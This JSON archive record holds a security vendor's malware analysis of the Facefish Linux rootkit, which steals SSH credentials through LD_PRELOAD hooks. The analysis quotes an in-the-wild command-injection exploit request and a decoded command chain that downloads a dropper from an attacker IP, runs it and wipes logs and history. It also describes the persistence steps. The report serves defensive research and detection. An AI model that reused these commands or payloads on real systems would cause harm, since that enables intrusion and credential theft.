{
	"id": "6f920157-6438-49ef-bf83-a37e4b0e7188",
	"created_at": "2026-04-06T00:18:08.081053Z",
	"updated_at": "2026-04-10T03:21:04.146208Z",
	"deleted_at": null,
	"sha1_hash": "a7b89d52f1c6c0c239a511425c828aff7bbe4ed8",
	"title": "Analysis report of the Facefish rootkit",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1238297,
	"plain_text": "Analysis report of the Facefish rootkit\r\nBy Alex.Turing\r\nPublished: 2021-05-27 · Archived: 2026-04-05 18:53:39 UTC\r\nBackground\r\nIn Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after\r\nchecking with a partner who has some nice visibility in network traffic in some China areas, we discovered there\r\nis literarily 0 hit for the C2 traffic. So we moved on.\r\nOn 4/26/2021, Juniper published a blog about this sample, we noticed that some important technical details were\r\nnot mentioned in that blog, so we decided to complete and publish our report.\r\nThe ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did\r\nnot name it, so we gave it a name Facefish , as the Dropper released different rootkits at different times, and\r\nBlowfish encryption algorithm has been used.\r\nFacefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network\r\ncommunication, and targets Linux x64 systems.\r\nOverview\r\nFacefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module,\r\nwhich works at the Ring3 layer and is loaded using the LD_PRELOAD feature to steal user login credentials by\r\nhooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish\r\ncan be characterized as a backdoor for Linux platform.\r\nThe main functions of Facefish are\r\nUpload device information\r\nStealing user credentials\r\nBounce Shell\r\nExecute arbitrary commands\r\nThe basic process is shown in the following diagram.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 1 of 22\n\nPropagation method\r\nThe vulnerabilities exploited in the wild are shown below\r\nPOST /admin/index.php?scripts=.%00./.%00./client/include/inc_index\u0026service_start=;cd%20/usr/bin;%20/usr/bin/wge\r\nHost: xx.xxx.xxx.xx:2031\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 0\r\nAfter decoding the part related to Facefish, the following execution command sequence is obtained, which can be\r\nseen that the main function is to download the payload of the first stage of execution, and then clean up the traces.\r\ncd /usr/bin;\r\n/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;\r\nchmod 0777 /usr/bin/sshins;\r\nls -al /usr/bin/sshins; ./sshins;\r\ncat /etc/ld.so.preload;\r\nrm -rf /usr/bin/sshins;\r\nsed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;\r\nhistory -c\r\nReverse Analysis\r\nIn simple terms, Facefish's infection procedure can be divided into 3 stages\r\nStage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device\r\nStage 1: Release stage, Dropper releases the Rootkit\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 2 of 22\n\nStage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution\r\nof the instructions issued by C2\r\nLet’s take a look at Stage 1 and Stage 2.\r\nStage 1: Dropper Analysis\r\nDropper's base information is shown below, the main function is to detect the running environment, decrypt the\r\nConfig and get C2 information, configure Rootkit, and finally release and start Rootkit.\r\nMD5:38fb322cc6d09a6ab85784ede56bc5a7\r\nELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\r\nPacker: UPX\r\nIt is worth mentioning that Dropper uses some tricks to counteract the detection of antivirus at the binary level.\r\nTrick 1:upx with overlay\r\nAs shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx\r\nshelling.\r\nThe purpose of this approach is twofold:\r\n1. Counteracting upx decapsulation\r\n2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without\r\ncompiling the source code, which is convenient for circulation in the black market.\r\nTrick 2:elf without sections\r\nAs shown in the figure below, the section information in the sample is erased after the shell is removed\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 3 of 22\n\nThe purpose of this approach is also twofold:\r\nSome tools that rely on section information for analysis do not work properly, and erasing sections makes analysis\r\nmore difficult to a certain extent.\r\nSome antivirus engines rely on the section information to generate the detection area of the feature, erase the\r\nsection might blindfold some antivirus engines.\r\nDropper's main features\r\nDropper will output the following information when it runs\r\nBased on this information, we can divide Dropper's functions into the following 4 stages\r\n1. Detecting the runtime environment\r\n2. Decrypting Config\r\n3. Configure Rootkit\r\n4. Release and start Rootkit\r\n0x1:Detect the running environment\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 4 of 22\n\nRead the first 16 bytes of /bin/cat , and determine the current system's bit number by checking the value of the\r\n5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root\r\nprivileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails,\r\nFacefish will give up the infection and exit directly.\r\n0x2:Decrypting Config\r\nThe original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of\r\nthe file in the form of overlay. The decryption key\u0026iv of Blowfish is as follows.\r\nkey:buil\r\niv:00 00 00 00 00 00 00 00\r\nIt is worth mentioning that when using Blowfish, its author played a little trick to \"disgust\" security researchers\r\nduring the coding process, as shown in the following code snippet.\r\nAt first glance, one would think that the key for Blowfish is \"build\". Note that the third parameter is 4, i.e. the\r\nlength of the key is 4 bytes, so the real key is \"buil\".\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 5 of 22\n\nTake the original Config as an example.\r\nBD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59\r\n5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56\r\nE4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2\r\n00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69\r\nEB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1\r\nA0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF\r\n71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1\r\nBA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7\r\nThe decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).\r\nThe specific meaning of each field is as follows:\r\noffset length meaning\r\n0x00 4 magic\r\n0x0c 4 interval\r\n0x10 4 offset of c2\r\n0x14 4 port\r\n0x20(pointed by 0x10) c2\r\nAfter the decryption is completed, the following code snippet is used to verify the Config, the verification method\r\nis relatively simple, that is, compare the magic value is not 0xCAFEBABE , when the verification passed, enter the\r\nconfiguration Rootkit stage.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 6 of 22\n\n0x3:Configure Rootkit\r\nFirstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and\r\nthe Config obtained from the previous stage is re-encrypted with the new key.\r\nThen use the flag 0xCAFEBABEDEADBEEF to locate the specific location of the Rootkit in the Dropper and write the\r\nnew encryption key and the re-encrypted Config information.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 7 of 22\n\nThe changes to the file are shown below.\r\nBefore writing.\r\nAfter writing.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 8 of 22\n\nIn this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at\r\ndifferent times is different, and we speculate that this design is used to counteract the black and white HASH\r\ndetection of the antivirus.\r\nIt is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation\r\nis relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if\r\nso, the EI_OSABI value in Rootkit is modified to 9.\r\n0x4: Release and start Rootkit\r\nWrite the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to\r\n/etc/ld.so.preload to realize the Rootkit preload.\r\n /lib64/libs.so\r\nRestart the ssh service with the following command to give Rootkit a chance to load into the sshd application\r\n/etc/init.d/sshd restart\r\n/etc/rc.d/sshd restart\r\nservice ssh restart\r\nsystemctl restart ssh\r\nsystemctl restart sshd.service\r\nThe actual effect is shown below.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 9 of 22\n\nAt this point Dropper's task is complete and Rootkit starts working.\r\nStage 2:Rootkit Analysis\r\nFacefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its\r\nbasic information is as follows.\r\nMD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2\r\nELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped\r\nIn IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they\r\nwill replace libc's function of the same name and implement hook.\r\ninit_proc function, its main function is to hook ssh/sshd process related functions in order to steal login\r\ncredentials.\r\nThe bind function, whose main function is to report device information and wait for the execution of C2\r\ncommands.\r\nThe start function, whose main function is to calculate keys for the key exchange process in network\r\ncommunication.\r\nAnalysis of the .init_proc function\r\nThe .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if\r\nthe process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and\r\nfinally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the\r\nhelp of Hook function steals the login credentials and sends them to C2.\r\n0x1 Finding SSH\r\nIf the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the\r\nlink_map to iterate through the modules loaded by the current process to find SSH-related modules.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 10 of 22\n\nIf the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the .got.plt table.\r\nAfter getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple\r\nway, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only\r\nattacks the OpenSSH implementation of client/server.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 11 of 22\n\n1:usage: ssh\r\n2:OpenSSH_\r\n0x2 HOOK function\r\nFirst, Facefish looks for the address of the function to be hooked\r\nwhere the ssh function to be hooked is shown as follows.\r\nThe sshd function to be hooked is shown below.\r\nIf it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function\r\nis located indirectly through the string in the function. Finally, the Hook is implemented by the following code\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 12 of 22\n\nsnippet\r\nThe actual comparison before and after HOOK is shown below.\r\n0x3 Stealing login credentials\r\nFacefish steals the login credentials with the help of the function after Hook and reports it to C2.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 13 of 22\n\nThe reported data format is %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s , where the first 32 sections are the encrypted\r\nkey, followed by the account number, remote host, password and other information.\r\nThe information reported in practice is shown below.\r\nbind function analysis\r\nOnce the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior,\r\nas follows.\r\nIf the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2\r\nconnection, and the parent process will call the real bind function through syscall(0x68/0x31).\r\n0x1: Host behavior\r\nDetermine if the sshd parent process exists, if the parent process exits, the backdoor process also exits.\r\nIf the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk\r\nsize, ssh service related configuration file and credential data.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 14 of 22\n\nCPU model\r\nMemory\r\nHard disk\r\nNetwork device\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 15 of 22\n\nSSH service related\r\n0x2: Introduction to C2 commands\r\nFacefish uses a complex communication protocol and encryption algorithm, among which the instructions starting\r\nwith 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a\r\nbrief explanation of the C2 functional instructions.\r\nSend 0x305\r\nWhether to send the registration information 0x305, if not, collect the information and report it.\r\nSend 0x300\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 16 of 22\n\nFunction to report stolen credential information\r\nSend 0x301\r\nCollect uname information, group packets and send 0x301, wait for further instructions\r\nReceive 0x302\r\nAccept command 0x302, reverse shell.\r\nReceive 0x310\r\nAccept command 0x310, execute any system command\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 17 of 22\n\nSend 0x311\r\nSend instruction 0x311 to return the result of bash execution\r\nReceive 0x312\r\nAccept instruction 0x312 to re-collect and report host information\r\n0x3: Communication protocol analysis\r\nRootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange,\r\nand BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each\r\nsession is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to\r\nencrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.\r\nGenerally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL\r\nlibrary, and the author of Facefish has coded (or used some open source projects) the whole communication\r\nprocess himself, and the code size is very compact because no third-party libraries are introduced.\r\nDH communication principle\r\nThe whole communication protocol is based on the DH framework, so we need to understand the DH\r\ncommunication principle briefly first. Without discussing the mathematical principle behind, we use a simple\r\nexample to describe the communication process directly by formula.\r\nStep 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates\r\nthe public key A (𝐴 = 𝑔\r\n𝑎 mod𝑝 = 54 mod23 = 4), then sends p, g, and A to B at the same time.\r\nStep 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to\r\ncalculate the public key B (𝐵 = 𝑔\r\n𝑏 mod𝑝 = 5\r\n3 mod23 = 10), then sends B to A. At the same time, B calculates\r\nthe communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key\r\n𝑠 = 𝐴\r\n𝑏 mod𝑝 = (𝑔\r\n𝑎\r\n)\r\n𝑏 mod𝑝 = 18.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 18 of 22\n\nstep 3. A receives B and also calculates the communication key 𝑠 = 𝐵\r\n𝑎 mod𝑝 = (𝑔\r\n𝑏\r\n)\r\n𝑎 mod𝑝 = 18\r\nstep 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and\r\ndecrypt the communication data.\r\nIn essence, a simple derivation shows that A and B computes by the same formula.\r\n𝑠 = 𝐵\r\n𝑎 mod𝑝 = (𝑔𝑏\r\n)\r\n𝑎 mod𝑝 = 𝑔\r\n𝑎𝑏 mod𝑝 = (𝑔𝑎\r\n)\r\n𝑏 mod𝑝 = 𝐴\r\n𝑏 mod𝑝\r\nThere is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When\r\nx and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function\r\nmentioned earlier is the key code in the fast power binpow().\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 19 of 22\n\nProtocol analysis\r\nSending and receiving packets use the same data structure.\r\n struct package{\r\n struct header{\r\n WORD payload_len; //payload length\r\n WORD cmd; //cmmand\r\n DWORD payload_crc; // payload crc\r\n } ;\r\n struct header hd;\r\n unsigned char payload[payload_len]; // payload\r\n }\r\nAs an example, the 0x200 instruction packet can be defined as follows.\r\nstruct package pkg = {\r\n.hd.payload_len = 0;\r\n.hd.cmd = 0x200;\r\n.hd.payload_crc = 0;\r\n.payload = \"\";\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 20 of 22\n\n}\r\nAgainst the DH communication principle and traffic data we analyze the communication protocol.\r\n1. bot first sends instruction 0x200, payload data is empty.\r\n2. C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small\r\nend, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a,\r\ng=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.\r\n3. Corresponding to step2, bot generates a random number b locally, and then generates\r\nB=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus\r\ncompleting the exchange of session keys.\r\n4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B.\r\nWhere iv is obtained by dissimilarity of p and g.\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 21 of 22\n\nWith iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted\r\nusing BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends\r\n0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish\r\nencryption.\r\nThe decrypted uplink packet data is as follows.\r\nIOC\r\nSample MD5\r\n38fb322cc6d09a6ab85784ede56bc5a7 sshins\r\nd6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so\r\nC2\r\n176.111.174.26:443\r\nSource: https://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nhttps://blog.netlab.360.com/ssh_stealer_facefish_en/\r\nPage 22 of 22",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.netlab.360.com/ssh_stealer_facefish_en/"
	],
	"report_names": [
		"ssh_stealer_facefish_en"
	],
	"threat_actors": [],
	"ts_created_at": 1775434688,
	"ts_updated_at": 1775791264,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a7b89d52f1c6c0c239a511425c828aff7bbe4ed8.pdf",
		"text": "https://archive.orkl.eu/a7b89d52f1c6c0c239a511425c828aff7bbe4ed8.txt",
		"img": "https://archive.orkl.eu/a7b89d52f1c6c0c239a511425c828aff7bbe4ed8.jpg"
	}
}